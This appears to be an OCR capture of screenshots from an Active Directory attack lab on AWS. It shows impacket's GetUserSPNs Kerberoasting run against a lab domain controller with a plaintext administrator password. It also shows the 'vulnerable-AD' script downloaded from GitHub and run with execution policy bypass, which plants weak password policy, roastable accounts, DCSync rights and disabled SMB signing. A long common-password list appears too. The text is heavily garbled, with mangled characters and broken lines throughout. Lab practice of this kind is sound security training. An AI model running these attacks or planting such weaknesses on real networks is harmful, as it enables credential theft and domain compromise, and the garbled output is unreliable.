Get:14 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 libitmi amdé4 12.3.0-lubuntul~22.4.3 [30.2 kB]
Get:16 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 libatomicl amdé4 12.3.8-lubuntul~22.04.3 [10.5 kB]
Get:16 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 libasané amd64 11.4.@-lubuntul~22.84.3 [2283 kB]
Get:17 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 liblsan@ amdé4 12.3.@-lubuntul~22.04.3 [1069 kB
Get:18 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 libtsan@ amdé4 11.4.@-lubuntul~22.84.3 [2260 kB]
Get:19 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé64 libubsanl amdé4 12.3.8-lubuntul~22.04.3 [976 kB
Get:20 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 libquadmath® amdé4 12.3.@-lubuntul~22.84.3 [154 kB
Get:21 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 libgcc-11-dev amdé4 11.4.6-lubuntul~22.04.3 [2517 kB]
Get:22 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 gcc-11 amdé4 11.4.8-lubuntul~22.04.3 [20.1 MB]
Get:23 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 gcc amdé4 4:11.2.8-lubuntul [5112 B]

Get:24 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 libstdc++-11-dev amdé4 11.4.@-lubuntul~22.04.3 [2101 kB
Get:25 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 g++—11 amdé4 11.4.@-lubuntul~22.04.3 [11.4 MB]
Get:26 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 g++ amdé4 4:11.2.6-1ubuntul [1412 B]

Get:27 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 make amdé4 4.3-4.1buildl [180 kB]

Get:28 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 libdpkg-perl all 1.21.lubuntu2.6 [237 kB]

Get:29 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 bzip2 amdé4 1.@.8-5buildl [34.8 kB]
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[$ ssh -1 ~/pww—-key-palr.pem ubuntu@52.86.125.94
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1061-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Sun Aug 9 22:44:51 UTC 2026

System load: 0.0 Processes: 108
Usage of /: 32.7% of 7.576B Users logged in: 1
Memory usage: 26% IPv4 address for ens5: 10.10.1.111

Swap usage: 3

* Ubuntu Pro delivers the most comprehensive open source security and
compliance features.

https://ubuntu.com/aws/pro
Expanded Security Maintenance for Applications is not enabled.

1 update can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list ——upgradable

4 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

New release '24.04.4 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sun Aug 9 22:25:39 2026 from 157.41.225.83

ubuntu@ip-10-16-1-111:~$ GetUserSPNs.py abcdlab.local/Administrator:'MYS).215knMgIn12wSi.Nf(51%1)P7eW' -dc-ip 10.10.1.241 -request
GetUserSPNs.py: command not found

ubuntu@ip-10-10-1-111:~$ find / -name "GetUserSPNs.py" 2>/dev/null

ubuntu@ip-10-16-1-111:~$ python3 -m pip show impacket

export PATH=$PATH:~/.local/bin

GetUserSPNs.py abcdlab.local/Administrator:'MYS).215knMgIn12wSi.Nf(51%1)P7eW' —dc-ip 10.10.1.241 -request
WARNING: Package(s) not found: impacket

GetUserSPNs.py: command not found

ubuntu@ip-10-16-1-111:~$ python3 -m venv ~/impacket-env

source ~/impacket-env/bin/activate

pip install impacket

The virtual environment was not created successfully because ensurepip is not

available. On Debian/Ubuntu systems, you need to install the python3-venv

package using the following command.

apt install python3.18-venv

You may need to use sudo with that command. After installing the python3-venv
package, recreate your virtual environment.

Failing command: /home/ubuntu/impacket-env/bin/python3

—bash: /home/ubuntu/impacket—env/bin/activate: No such file or directory
Defaulting to user installation because normal site-packages is not writeable
Collecting impacket
Downloading impacket-@.13.1-py3-none-any.whl (1.8 MB)
-_—_————————————1.8/1.8 MB 34.3 MB/s eta 0:00:00
Requirement already satisfied: pyasn1>=0.2.3 in /usr/lib/python3/dist-packages (from impacket) (0.4.8)
Collecting ldapdomaindump>=0.9.0
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source ~/impacket-env/bin/activate

Ipip install impacket

The virtual environment was not created successfully because ensurepip is not
available. On Debian/Ubuntu systems, you need to install the python3-venv
package using the following command.

apt install python3.16-venv

You may need to use sudo with that command. After installing the python3-venv
package, recreate your virtual environment.

Failing command: /home/ubuntu/impacket-env/bin/python3

—-bash: /home/ubuntu/impacket-env/bin/activate: No such file or directory
Defaulting to user installation because normal site-packages is not writeable
Collecting impacket
Downloading impacket-9.13.1-py3-none-any.whl (1.8 M8)
1.8/1.8 MB 34.3 MB/s eta 0:00:00
.2.3 in /usr/lib/python3/dist-packages (from impacket) (8.4.8)

Requirement already satisfied: pyasnl>=
Collecting ldapdomaindump>=6.9.0
Downloading 1dapdomaindump-0.10.0-py3-none-any.whl (19 kB)
Collecting charset_normalizer
Downloading charset_normalizer-3.4.9-cp318-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (223 kB)
—————————————————223.8/223.8 KB 30.7 MB/s eta 0:00:00

Collecting 1dap3!=2.5.0, 1=2.5.2,1=2.6,>=2.5

Downloading 1dap3-2.9.1-py2.py3-none-any.whl (432 kB)
432.2/432.2 KB 47.9 MB/s eta 0:00:00
Requirement already satisfied: pyasnl_modules in /usr/lib/python3/dist-packages (from impacket) (8.2.1)
Collecting pycryptodomex

Downloading pycryptodomex-3.23.8-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (2.3 MB)
2.3/2.3 MB 96.7 MB/s eta 0:00:00
Requirement already satisfied: six in /usr/lib/python3/dist-packages (from impacket) (1.16.8)
Collecting flask>=1.0

Downloading flask-3.1.3-py3-none-any.whl (163 kB)
103.4/103.4 KB 17.3 MB/s eta 0:00:00
Requirement already satisfied: pyOpenSSL in /usr/lib/python3/dist-packages (from impacket) (21.8.8)
Collecting markupsafe>=2.1.1

Downloading markupsafe-3.0.3-cp316-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (20 kB)
Collecting itsdangerous>=2.2.0

Downloading itsdangerous-2.2.@-py3-none-any.whl (16 kB)
Collecting jinja2>=3.1.2

Downloading jinja2-3.1.6-py3-none-any.whl (134 kB)
134.9/134.9 KB 21.9 MB/s eta 0:00:00

Collecting click>=8.1.3
Downloading click-8.4.2-py3-none-any.whl (119 kB)
————————————————————119.2/119.2 KB 19.3 MB/s eta 0:00:00
Collecting blinker>=1.9.0
Downloading blinker-1.9.0-py3-none-any.whl (8.5 kB)
Collecting werkzeug>=3.1.0
Downloading werkzeug-3.1.8-py3-none-any.whl (226 kB)
226.5/226.5 KB 31.5 MB/s eta 0:00:00

Collecting dnspython

Downloading dnspython-2.8.@-py3-none-any.whl (331 kB)

—_—————————————331.1/331.1 KB 38.1 MB/s eta 0:00:00

Installing collected packages: pycryptodomex, markupsafe, 1dap3, itsdangerous, dnspython, click, charset_normalizer, blinker, werkzeug, ldapdomaindump, jinja2, flask, impacket
Successfully installed blinker-1.9.8 charset_normalizer-3.4.9 click-8.4.2 dnspython-2.8.0 flask-3.1.3 impacket-8.13.1 itsdangerous-2.2. jinja2-3.1.6 ldap3-2.9.1 ldapdomaindump-9.10.0 markupsafe-3.0.3 pycryptodomex-3.23.0 werkzeug—
3.1.8
[ubuntuip-16-16-1-111:~$ GetUserSPNs.py abcdlab.local/Administrator: 'MYS).215knMgIn12wSi.NF(51%L)P7eW' ~dc-ip 10.10.1.241 -request
Impacket v8.13.1 - Copyright Fortra, LLC and its affiliated companies

No entries found!
ubuntu@ip-16-16-1-111:~$ ||
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C:\vulnad.ps1:148:
$password -AsPlainText -Force)

Set-AdAccountPassword -Identity $randomuser -Reset -NewPassword (ConvertTo-SecureString ~

C:\vulnad.ps1:166: $password = ([System.Web.Security.Membership]::GeneratePassword(12,2))

PS C:\Users\Administrator> Get-ADServiceAccount 1 * | select-Object Name, ServicePrincipalNames

Name ServicePrincipalNames

lexchange_svc
mssql_svc
http_svc

PS C:\Users\Administrator>

o
|
v

Hostname: EC2AMAZ-7K54A5F
Instance ID: i-06075378a190fca5d
Private IPv4 address: 10.10.1.241
Public IPv4 address: 35.169.105.133
IPv6 address:

Instance size: t3.micro

Availability Zone: us-east-1f
Architecture: AMD64

10:48 PM
AT gooms

8
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[ubuntu@ip-16-10-1-111:~$ GetUserSPNs.py abcdlab.local/Administrator:'MYS).215knMgIn12wSi.Nf(51%1)P7eW' -dc-ip 10.10.1.241 -request —target-domain abcdlab.local
Impacket v@.13.1 — Copyright Fortra, LLC and its affiliated companies

No entries found!
[ubuntu@ip-16-10-1-111:~$ GetUserSPNs.py abcdlab.local/Administrator:'MYS).215knMgIn12wSi.Nf(51%1)P7eW' -dc-ip 10.10.1.241
Impacket v@.13.1 - Copyright Fortra, LLC and its affiliated companies

No entries found!
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PS C:\Users\Administrator> setspn -Q */*

IChecking domain DC=abcdlab,DC=local

CN=EC2AMAZ - 7K54A5F ,0U=Domain Controllers,DC=abcdlab,DC=local
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/ EC2AMAZ - 7K54ASF . abcdlab. local
1dap/EC2AMAZ-7KS4ASF . abcdlab. local/ForestDnsZones . abcdlab. local
1dap/EC2AMAZ-7KS4ASF . abcdlab. local/DomainDnsZones . abcdlab. local

TERMSRV/EC2AMAZ - 7KS4ASF

TERMSRV/EC2AMAZ - 7K54ASF . abcdlab. local

DNS/EC2AMAZ-7KS54ASF . abcdlab. local

GC/EC2AMAZ-7K54A5F . abcdlab. local/abcdlab. local
RestrictedKrbHost/EC2AMAZ - 7K54ASF . abcdlab. local

RestrictedKrbHost/EC2AMAZ - 7KS4ASF

RPC/1804a172-303-4694-a38b-2b7d26be6cal._msdcs.abcdlab.local

HOST/EC2AMAZ - 7K54ASF/ABCDLAB

HOST/EC2AMAZ-7K54AS5F .abcdlab. 1ocal/ABCDLAB

HOST/EC2AMAZ - 7K54ASF

HOST/EC2AMAZ - 7K54A5F . abcdlab. local

HOST/EC2AMAZ-7K54AS5F .abcdlab. local/abcdlab. local
E3514235-4B06-11D1-ABO4-00CO4FC2DCD2/1804a172-F303-4694-a38b-2b7d26be6cal/abcdlab. local

1dap/EC2AMAZ - 7KS4ASF/ABCDLAB

1dap/1804a172-303-4694-a38b-2b7d26be6cal. _msdcs.abcdlab.local
1dap/EC2AMAZ-7KS4ASF . abcdlab. local/ABCDLAB

1dap/EC2AMAZ-7KS4ASF

1dap/EC2AMAZ-7KS4ASF . abcdlab. local

1dap/EC2AMAZ -7K54A5F . abcdlab. local/abcdlab. local

ICN=krbtgt,CN=Users,DC=abcdlab,DC=1ocal
kadmin/changepw

(cN-exchange svc,CN=Managed Service Accounts,DC=abcdlab,DC=1ocal

I

Hostname: EC2AMAZ-7K54A5F
Instance ID: i-06075378a190fca5d
Private IPv4 address: 10.10.1.241
Public IPv4 address: 35.169.105.133
IPv6 address:

Instance size: t3.micro

Availability Zone: us-east-1f
Architecture: AMD64

10:50 PM
AT goms

8
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HOST/EC2AMAZ - 7K54A5F/ABCDLAB

HOST/EC2AMAZ - 7K54AS5F .abcdlab. 1ocal/ABCDLAB

HOST/EC2AMAZ - 7K54A5F

HOST/EC2AMAZ-7K54A5F . abcdlab. local
HOST/EC2AMAZ - 7K54A5F .abcdlab. 1ocal/abcdlab. local
E3514235-4B06-11D1-ABO4-00CO4FC2DCD2/1804a172-F303-4694-a38b-2b7d26be6cal/abcdlab. local

1dap/EC2AMAZ - 7KS4ASF/ABCDLAB

1dap/1804a172-303-4694-a38b-2b7d26be6cal. _msdcs.abcdlab.local
1dap/EC2AMAZ-7KS4ASF . abcdlab. local/ABCDLAB

1dap/EC2AMAZ - 7KS4ASF

1dap/EC2AMAZ-7KS4ASF . abcdlab. local
1dap/EC2AMAZ -7K54A5F . abcdlab.local/abcdlab.local

CN=krbtgt, CN=Users, DC=abcdlab, Dc=1ocal
kadmin/changepw

(CN-=exchange_svc,CN=Managed Service Accounts,DC=abcdlab,DC=local
exchange_svc/exserver.abcdlab.local

CN=mssql_svc,CN=Managed Service Accounts,DC=abcdlab,DC=local
mssql_svc/mssqlserver.abcdlab.local

(CN=http_svc,CN=Managed Service Accounts,DC=abcdlab,DC=local

http_svc/httpserver.abcdlab. local

Existing SPN found!
PS C:\Users\Administrator> _

I

Hostname: EC2AMAZ-7K54A5F
Instance ID: i-06075378a190fca5d
Private IPv4 address: 10.10.1.241
Public IPv4 address: 35.169.105.133
IPv6 address:

Instance size: t3.micro

Availability Zone: us-east-1f
Architecture: AMD64

10:50 PM
AT goms

8
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Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

>> Install-ADDSForest °
>> -DomainName "abcdlab.local™ ~
>> -DomainNetbiosName "ABCDLAB"

>> -I 11Dn

>> FeModeAdministratorPassword (ConvertTo-SecureString "P@ssword123!"™ -AsPlainText -Force) °
>> e

-
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Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\Administrator> Invoke-WebRequest -Uri "https://raw.githubusercontent.com/safebuffer/vulnerable-AD/master/vul
nad.ps1™ -OutFile "C:\vulnad.ps1i”

>> Set-ExecutionPolicy Bypass -Scope Process -Force

>> C:\vulnad.psl

PS C:\Users\Administrator> Get-Content C:\vulnad.psl -TotalCount 5
#Base Lists

$Global:HumansNames = @('Aaren’, 'Aarika’, 'Abagael’, 'Abagail’', 'Abbe’, 'Abbey’', 'Abbi', 'Abbie', 'Abby', 'Abbye’', 'Abi]
gael’, 'Abigail’, 'Abigale’, 'Abra‘’, 'Ada’, 'Adah’, 'Adaline’, 'Adan’, 'Adara’, 'Adda‘’, 'Addi’, 'Addia‘’, 'Addie’, 'Addy"
, 'Adel’, 'Adela’, 'Adelaida’, ‘Adelaide’, 'Adele’, ‘Adelheid’, ‘Adelice’, ‘Adelina’, 'Adelind’, ‘Adeline’, 'Adella’, A
delle’, 'Adena’, "Adey', 'Adi’', 'Adiana’, 'Adina‘’, 'Adora’, 'Adore’, 'Adoree’', 'Adorne’, 'Adrea’, 'Adria’, 'Adriaens’,
Adrian’, 'Adriana’, 'Adriane’, 'Adrianna‘’, 'Adrianne’, ‘Adriena’, ‘Adrienne’, ‘Aeriel’, ‘Aeriela‘’, ‘'Aeriell’, ‘Afton’,
Ag', 'Agace’, 'Agata’, "Agatha’, 'Agathe’, "Aggi', "Aggie’, 'Aggy’', "Agna’, 'Agnella’, 'Agnes’, ‘'Agnese’, 'Agnesse’, 'Ag|
neta’, 'Agnola’, ‘Agretha’, 'Aida‘', 'Aidan’, 'Aigneis’, 'Aila‘’, ‘Aile’, ‘Ailee’, ‘'Aileen’, ‘Ailene’, ‘Ailey’, 'Aili‘, 'A
ilina", "Ailis’, ‘Ailsun’, 'Ailyn’, "Aime’, 'Aimee’, "Aimil’, ‘Aindrea’, 'Ainslee’, ‘'Ainsley’, ‘Ainslie’, 'Ajay’, 'Alain|
e, "Alameda’, 'Alana’, ‘'Alanah’, ‘Alane’, 'Alanna’, ‘Alayne’, 'Alberta’, 'Albertina’, 'Albertine’, 'Albina‘’, ‘'Alecia’,
‘Aleda’, 'Aleece’, 'Aleen’, 'Alejandra’, 'Alejandrina’, ‘'Alena’, 'Alene’, 'Alessandra’, ‘Aleta’, 'Alethea’, 'Alex’, 'Ale
xa', 'Alexandra’, 'Alexandrina’, ‘Alexi’, 'Alexia’, 'Alexina’, 'Alexine’, 'Alexis', 'Alfi’', 'Alfie’, 'Alfreda’, 'Alfy’,
*Ali*, ‘Alia‘’, ‘Alica‘’, "Alice", ‘Alicea’, ‘'Alicia‘’, '"Alida", ‘Alidia", ‘Alie’, ‘Alika’, ‘Alikee’, ‘Alina‘’, ‘Aline’, ‘Al
is', "Alisa’, '"Alisha’, ‘Alison’, ‘Alissa’, 'Alisun’, ‘Alix", 'Aliza’, 'Alla’, 'Alleen’, ‘Allegra’, ‘Allene’, 'Alli‘, 'A
1lianora', 'Allie’, 'Allipa‘’, 'Allis’, 'Allison', ‘"Allissa‘’, 'Allix", "Allsun’, 'Allx', 'Ally’, ‘Allyce’, 'Allyn", "Allyj
s', 'Allyson’, ‘Alma‘, ‘Almeda‘’, ‘Almeria‘’, 'Almeta’, ‘Almira‘’, 'Almire’, 'Aloise’, 'Aloisia‘’, 'Aloysia’, 'Alta’, 'Althe
a', 'Alvera’, 'Alverta’, 'Alvina’, ‘Alvinia’, 'Alvira‘, ‘"Alyce’, 'Alyda’, 'Alys’, ‘Alysa’, 'Alyse’, 'Alysia’, 'Alyson’,
‘Alyss’, 'Alyssa’, 'Amabel’, ‘Amabelle’, ‘Amalea’, ‘Amalee’, 'Amaleta’, 'Amalia’, 'Amalie’, 'Amalita’, 'Amalle’, 'Amanda
', 'Amandi’, ‘Amandie’, ‘Amandy’, ‘Amara‘’, ‘Amargo’, ‘'Amata’, ‘Amber’, 'Amberly’, ‘Ambur’, ‘Ame’, ‘Amelia‘’, 'Amelie’, ‘A
melina', 'Ameline’, 'Amelita’, "Ami’, ‘Amie’, 'Amii’, 'Amil’, ‘Amitie’, 'Amity’, ‘Ammamaria‘’, ‘Amy’, "Amye’, ‘"Ana’, 'Anajd
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‘quwaszx', 'muffin’, 'johnson', ‘murphy’, ‘cooper’, 'jonathan', 'liverpoo’, ‘'david’', ‘danielle’, '159357", 'jackie’,
@', "123456a', '789456', 'turtle’, "horny', "abcd1234', ‘scorpion’, ‘qazwsxedc', '101010', ‘'butter’, ‘carlos’, 'password
1", "dennis’, 'slipknot’, 'qwerty123', ‘booger', ‘asdf’, '1991', ‘black’, ‘startrek’, "12341234', ‘cameron’, ‘newyork’,
‘rainbow’, 'nathan’, 'john', '1992', ‘'rocket’, 'viking', 'redskins', 'butthead’', 'asdfghjkl', '1212', ‘'sierra’, 'peaches
, 'gemini’, ‘'doctor’, 'wilson', ‘sandra’, 'helpme’, ‘"qwertyui’, ‘victor', 'florida’, 'dolphin’, 'pookie’, 'captain’, 't
ucker', 'blue’, "liverpool’, "theman’, 'bandit’, "dolphins’, 'maddog', 'packers’, 'jaguar', 'lovers', 'nicholas’, ‘unite
d', "tiffany', 'maxwell’, 'zzzzzz', 'nirvana’, ‘'jeremy', 'suckit’', ‘stupid’, ‘porn’, 'monica’, ‘elephant’, ‘giants’, 'ja
ckass', "hotdog®, 'rosebud’, 'success', 'debbie’, 'mountain’, '444444", 'xxxxxxxx', 'warrior’, '1q2w3e4r5t’, 'qlw2e3’, '
123456q", ‘"albert’, 'metallic’, "lucky’, ‘"azerty', '7777', 'shithead’, 'alex', 'bonde®7', ‘alexis', "1111111°, ‘samson’,
‘515", ‘'willie®, ‘"scorpio’, ‘bonnie’, ‘gators’, ‘benjamin’, ‘voodoo’, ‘driver’, ‘dexter’, '2112', 'jason', ‘calvin’, °’
freddy', '212121°, ‘creative’, '12345a", 'sydney’, ‘rush2112', '1989', ‘asdfghjk', 'red123', 'bubba’, '4815162342', 'pas
sword', 'trouble’, ‘gunner', ‘happy', 'fucking', 'gordon’, 'legend’, 'jessie', 'stella’, ‘'qwert’, ‘eminem’, ‘arthur’, '3
pple’, 'nissan’, 'bullshit’, ‘'bear’, 'america', 'l1gazxsw2', 'nothing', 'parker’', '4444', 'rebecca’, 'quwequwe’, ‘garfield’
, '01012011', 'beavis’, '69696969', 'jack', 'asdasd', 'december’, '2222', '102030', '252525', '11223344", 'magic’, 'apol
lo", 'skippy', '315475', ‘'girls’, ‘kitten', 'golf', ‘copper', 'braves’, ‘shelby’, 'godzilla', ‘'beaver’', ‘fred', 'tomcat’
, 'august', 'buddy’', ‘"airborne’, "1993", "1988°", 'lifehack’, 'qqgqqqq’, ‘brooklyn', ‘animal’, ‘platinum’, ‘phantom’, ‘onl
ine', 'xavier', 'darkness’', 'blink182', ‘power', 'fish', 'green’', '789456123', ‘voyager', 'police’', 'travis’', '12qwaszx’
, "heaven', 'snowball®', 'lover', ‘abcdef', '00000°', 'pakistan’, '©07007', ‘walter', ‘playboy’, 'blazer’, ‘cricket’, 'sni
per', 'hooters’, ‘donkey', ‘willow', 'loveme’, ‘saturn’, ‘therock', 'redwings');
$Global:HighGroups = @( 'Office Admin’','IT Admins', 'Executives’);
$Global:MidGroups = @('Senior management', 'Project management’);
PS C:\Users\Administrator> C:\vulnad.ps1
PS C:\Users\Administrator> [Net.ServicePointManager]::SecurityProtocol [Net.SecurityProtocolType]::T1ls12
>> Invoke-WebRequest -Uri "https://raw.githubusercontent.com/safebuffer/vulnerable-AD/master/vulnad.ps1™ -OutFile "C:\vu
lnad.ps1”
>> C:\vulnad.ps1
PS C:\Users\Administrator>
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, "heaven', ‘snowball’, 'lover', 'abcdef’', '©0000', 'pakistan’, '007007', 'walter’, 'playboy’, 'blazer’, 'cricket’, 'snifd
per’, "hooters®, 'donkey', ‘willow®', "loveme’, 'saturn’, 'therock’, 'redwings’);

$Global:HighGroups = @('Office Admin','IT Admins®, 'Executives');

$Global:MidGroups = @( 'Senior management’, 'Project management');

PS C:\Users\Administrator> C:\vulnad.psi

PS C:\Users\Administrator> [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

>> Invoke-WebRequest -Uri "https://raw.githubusercontent.com/safebuffer/vulnerable-AD/master/vulnad.ps1” -OutFile "C:\vu
lnad.ps1”

>> C:\vulnad.ps1

PS C:\Users\Administrator> Import-Module ActiveDirectory

>> Get-ADDomain

AllowedDNSSuffixes : {}

ChildDomains 3 I}

ComputersContainer : CN=Computers,DC=abcdlab,DC=1ocal

DeletedObjectsContainer : CN=Deleted Objects,DC=abcdlab,DC=1local

DistinguishedName : DC=abcdlab,DC=local

DNSRoot : abcdlab.local

DomainControllersContainer : OU=Domain Controllers,DC=abcdlab,DC=local

DomainMode : Windows2@16Domain

DomainSID : 5-1-5-21-1016938856-1589005140-4212303598

ForeignSecurityPrincipalsContainer : CN=ForeignSecurityPrincipals,DC=abcdlab,DC=1ocal

Forest : abcdlab.local

InfrastructureMaster : EC2AMAZ-7KS54A5F.abcdlab.local

LastLogonReplicationInterval 3

LinkedGroupPolicyObjects : {CN={31B2F340-016D-11D2-945F-00CO4FB984F9},CN=Policies,CN=System,DC=abcdlab,DC=1oc
al}

LostAndFoundContainer : CN=LostAndFound,DC=abcdlab,DC=1ocal
ManagedB 3
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ComputersContainer
DeletedObjectsContainer
DistinguishedName

IDNSRoot
DomainControllersContainer
DomainMode

DomainSID

Forest

InfrastructureMaster
LastLogonReplicationInterval
LinkedGroupPolicyObjects

LostAndFoundContainer
ManagedBy

Name

NetBIOSName

ObjectClass

ObjectGUID

ParentDomain

PDCEmulator
PublicKeyRequiredPasswordRolling
QuotasContainer
ReadOnlyReplicaDirectoryServers
ReplicaDirectoryServers
RIDMaster

SubordinateReferences

SystemsContainer
UsersContainer

: CN=Computers,DC=abcdlab,DC=1ocal N
: CN=Deleted Objects,DC=abcdlab,DC=1local

: DC=abcdlab,DC=1local

: abcdlab.local

: OU=Domain Controllers,DC=abcdlab,DC=1local

: Windows2@16Domain

: 5-1-5-21-1016938856-1589005140-4212303598

ForeignSecurityPrincipalsContainer :
: abcdlab.local

: EC2AMAZ-7K54A5F.abcdlab.local

CN=ForeignSecurityPrincipals,DC=abcdlab,DC=1ocal

: {CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=abcdlab,DC=1oc

al}

: CN=LostAndFound,DC=abcdlab,DC=1ocal

: abcdlab

: ABCDLAB

: domainDNS

: 1214d707-b0Bc4-4832-aede-5edda9dfcebc

: EC2AMAZ-7KS54ASF.abcdlab.local

: True

: CN=NTDS Quotas,DC=abcdlab,DC=local

{3}

: {EC2AMAZ-7KS4ASF.abcdlab.local}

: EC2AMAZ-7KS54ASF.abcdlab.local

: {DC=ForestDnsZones,DC=abcdlab,DC=1ocal, DC=DomainDnsZones,DC=abcdlab,DC=1local,

CN=Configuration,DC=abcdlab,DC=1ocal}

: CN=System,DC=abcdlab,DC=1local
: CN=Users,DC=abcdlab,DC=1ocal v
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PublicKeyRequiredPasswordRolling : True

QuotasContainer : CN=NTDS Quotas,DC=abcdlab,DC=local

ReadOnlyReplicaDirectoryServers HES:

ReplicaDirectoryServers : {EC2AMAZ-7KS4ASF.abcdlab.local}

RIDMaster : EC2AMAZ-7KS54AS5F.abcdlab.local

SubordinateReferences : {DC=ForestDnsZones,DC=abcdlab,DC=1ocal, DC=DomainDnsZones,DC=abcdlab,DC=1local,
CN=Configuration,DC=abcdlab,DC=1ocal}

SystemsContainer : CN=System,DC=abcdlab,DC=1ocal

UsersContainer : CN=Users,DC=abcdlab,DC=1ocal

PS C:\Users\Administrator> Import-Module ActiveDirectory

>> powershell.exe -File C:\vulnad.psl

PS C:\Users\Administrator> powershell.exe ile C:\vulnad.psi

PS C:\Users\Administrator> Get-ADUser ilter * | Select-Object Name, SamAccountName
Name SamAccountName

Administrator Administrator

Guest Guest

krbtgt krbtgt

PS C:\Users\Administrator> powershell.exe ecutionPolicy Bypass ile C:\vulnad.psi
PS C:\Users\Administrator> $ErrorActionPreference "Continue"

>> & C:\vulnad.psl

>> $Error[e]

PS C:\Users\Administrator> Get-Content C:\vulnad.psl -Tail 3@
ShowBanner
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PS C:\Users\Administrator> powershell.exe -ExecutionPolicy Bypass -File C:\vulnad.psl -Verbose
PS C:\Users\Administrator> $ErrorActionPreference "Continue"
>> & C:\vulnad.psl
>> $Error[0]
PS C:\Users\Administrator> Get-Content C:\vulnad.psl -Tail 3@
ShowBanner
$Global:Domain = $DomainName
Set-ADDefaultDomainPasswordPolicy -Identity $Global:Domain -LockoutDuration ©0:01:00 -LockoutObservationWindow ©0:01
:00 -ComplexityEnabled $false -ReversibleEncryptionEnabled $False -MinPasswordLength 4
VulnAD-AddADUser -limit $UsersLimit
Write-Good "Users Created”
VulnAD-AddADGroup -GrouplList $Global:HighGroups
Write-Good "$Global:HighGroups Groups Created”
VulnAD-AddADGroup -GroupList $Global:MidGroups
Write-Good "$Global:MidGroups Groups Created”
VulnAD-AddADGroup -GrouplList $Global:NormalGroups
Write-Good "$Global:NormalGroups Groups Created”
VulnAD-BadAcls
Write-Good "BadACL Done"
VulnAD-Kerberoasting
Write-Good "Kerberoasting Done"
VulnAD-ASREPRoasting
Write-Good "AS-REPRoasting Done™
VulnAD-DnsAdmins
Write-Good "DnsAdmins Done"
VulnAD-PwdInObjectDescription
Write-Good "Password In Object Description Done"

VulnAD-DefaultPassword
Wrnstae Cand "Naf2111¢ Daccwwnnd DAana®™





image35.png
VulnAD-PasswordSpraying

Write-Good "Password Spraying Done"
VulnAD-DCSync

Write-Good "DCSync Done"
VulnAD-DisableSMBSigning
Write-Good "SMB Signing Disabled”

PS C:\Users\Administrator> Select-String -Path C:\vulnad.psl -Pattern "~function”

:\vulnad.ps1:17:function Write-Good { param( $String ) Write-Host $Global:PlusLine $String -ForegroundColor ‘Green'}
:\vulnad.ps1:18:function Write-Bad { param( $String ) Write-Host $Global:ErrorLine $String -ForegroundColor ‘red’ }
:\vulnad.ps1:19:function Write-Info { param( $String ) Write-Host $Global:InfolLine $String -ForegroundColor ‘gray" }
:\vulnad.ps1:20:function ShowBanner {

:\vulnad.ps1:30:function VulnAD-GetRandom {

:\vulnad.ps1:36:function VulnAD-AddADGroup {

:\vulnad.ps1:51:function VulnAD-AddADUser {

:\vulnad.ps1:69:function VulnAD-AddACL {

:\vulnad.ps1:94:function VulnAD-BadAcls {

:\vulnad.ps1:126:function VulnAD-Kerberoasting {

:\vulnad.ps1:144:function VulnAD-ASREPRoasting {

:\vulnad.ps1:153:function VulnAD-DnsAdmins {

:\vulnad.ps1:163:function VulnAD-PwdInObjectDescription {

:\vulnad.ps1:172:function VulnAD-DefaultPassword {

:\vulnad.ps1:182:function VulnAD-PasswordSpraying {

:\vulnad.ps1:191:function VulnAD-DCSync {

:\vulnad.ps1:214:function VulnAD-DisableSMBSigning {

:\vulnad.ps1:217:function Invoke-VulnAD {

o000 00n00n

PS C:\Users\Administrator> Invoke-VulnAD m me "abcdlab.local™
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PS C:\Users\Administrator> . C:\vulnad.psl
>> Invoke-VulnAD -DomainName "abcdlab.local™

VULN AD - Vulnerable Active Directory

wazehell @safe_buffer
Creating casie.bab User
Creating dena.ruthie User
Creating daisey.marja User
Creating mariele.lorie User
Creating netta.lotte User
Creating godiva.starlin User
Creating lucille.sibby User
Creating fan.rasla User
Creating idalina.livvie User
Creating lazarus.anita User
Creating meggie.pepita User
Creating laetitia.marabel User
Creating michel.cristin User
Creating pavia.dalia User
Creating mahala.de User
Creating laureen.henrieta User
Creating aloysia.gianna User
Creating idelle.chicky User
Creating gwen.denna User
Creating liliane.fania User
Creating lilias.eloisa User
Creating charity.merrie User
Creating linnell.savina User
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[*
[*
[*
[*
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[i
[*
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[lﬁ
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[*
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[*
[*
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erShell - (m}

Administrator: Window

[+] Kerberoasting Done
[*] AS-REPRoasting fan.rasla
[+] AS-REPRoasting Done
